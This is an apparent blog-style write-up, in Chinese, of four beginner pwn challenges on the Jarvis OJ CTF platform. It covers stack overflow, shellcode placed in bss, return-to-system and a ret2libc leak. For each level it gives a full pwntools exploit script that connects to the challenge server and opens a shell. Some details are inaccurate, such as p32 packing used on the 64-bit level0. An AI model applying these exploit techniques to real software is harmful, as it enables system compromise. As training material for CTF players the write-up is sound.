一只web菜狗来入门pwn?就简单学习一下一些简单的pwn题吧
level0
事先使用binwalk查看二进制脚本信息
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------- -----------
0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
可以看出来是一个64位的文件。
加载入相应都64位IDA中发现两个函数。
read函数读取了0x200个字符
查看buf大小
低位:0x0000000000000080
高位:+0x0000000000000008
所以buf的首地址到返回地址共=(+0x0000000000000008) - (-0x0000000000000080)=0x88
而read函数却读取了0x200,完全可以覆盖掉buf的ret造成栈溢出,这样只要获得到callsystem的地址,填充掉88个字符再加上callsystem的地址就可以使程序跳转到callsystem执行/bin/sh
—EXP如下
from pwn import *
r = remote('pwn2.jarvisoj.com',' 9881');
elf = ELF('./level0.b9ded3801d6dd36a97468e128b81a65d')
pad = 'a'*0x88
#add = p64(0x400596)
add = elf.symbols['callsystem']
payload = pad+p32(add)
r.send(payload)
r.interactive()
level1
level1 和level0 的源码类似,不过在运行程序后发现它输出一段地址。
通过IDA 可以发现输出的地址就是bss的地址,而程序并没有限制栈不可写,
于是思路就是构造一个一个shellcode输入到bss段,在劫持程序跳转到bss上且执行shellcode。
参考EXP如下
from pwn import *
shellcode = asm(shellcraft.sh()) #使用pwntools自带都shellcode
io = remote('pwn2.jarvisoj.com',9877)
text = io.recvline()[14:-2] #获取程序输出都buf地址
buf_addr = int(text,16)
payload = shellcode + 'a'*(0x88+0x04-len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
level2
惯例丢到binwalk,IDA查看程序基本流程,与前面都程序无太大都差异。
程序中自带一个有system函数以及/bin/sh 字符串。那么思路就是构造一个栈桢为system(‘/bin/sh’)来达到getshell的目的。
第一个步:找到system的地址以及/bin/sh的地址,可以通过IDA或者ELF模块来寻找。
第二步:构造栈模拟system调用过程。 要注意都是在调用函数都过程会将返回地址先压栈,这里为们随意都填上8个字节即0x12345678,然后才是参数入栈。ps:这点对于之后都二次溢出是很重要的。
参考EXP如下
from pwn import *
elf=ELF('./level2.54931449c557d0551c4fc2a10f4778a1')
sys_add= elf.symbols['system']
sh_add = elf.search('/bin/sh').next()
payload = 'a'*(0x88+0x4) + p32(sys_add) + p32(0x12345678) + p32(sh_add)
io = remote('pwn2.jarvisoj.com',9878)
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
level3
level3主要是一个通过已知的libc文件来推算程序具体函数的练习。
原理google ret2libc。
这题有NX保护,也就是说bss段写入数据也无法执行。程序中也并没用system函数和’/bin/sh’字符串,无法像上一题一样构造栈。
题目给出了libc文件,通过ret2libc技术可以通过libc文件推算出任意函数所在的内存地址。
那么思路就是,先通过write函数将read函数都地址泄漏出来(不一定是要read函数,write也行,主要是用来算偏移量。而这两个函数在plt表和got表是存在的,所以比较方便)然后得到都地址与libc中的read函数都地址相减,得到偏移量。这样各个函数都的具体位置都可以由这个偏移量计算出来。即偏移量减去libc中对应函数的地址。
这样计算出了system函数地址以及’/bin/sh’地址就可以如上一题一样构造栈,达到getshell。
注意的是,payload1中利用write函数泄露地址,在调用write的函数的时候返回地址是给了vul这个函数。这样保证了程序在第一次溢出不会结束,而是陷入一次循环,避免了程序重启以后地址不一样。
参考EXP如下
from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B
write_plt=e.symbols['write']
read_got=e.got['read']
payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(read_got)+p32(4)
conn.recvuntil("Input:\n")
conn.sendline(payload1)
read_addr=u32(conn.recv(4))
#calculate the system_address in memory
libc_write=libc.symbols['read']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
system_addr=read_addr-libc_write+libc_system
sh_addr=read_addr-libc_write+libc_sh
payload2='A'*pad+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()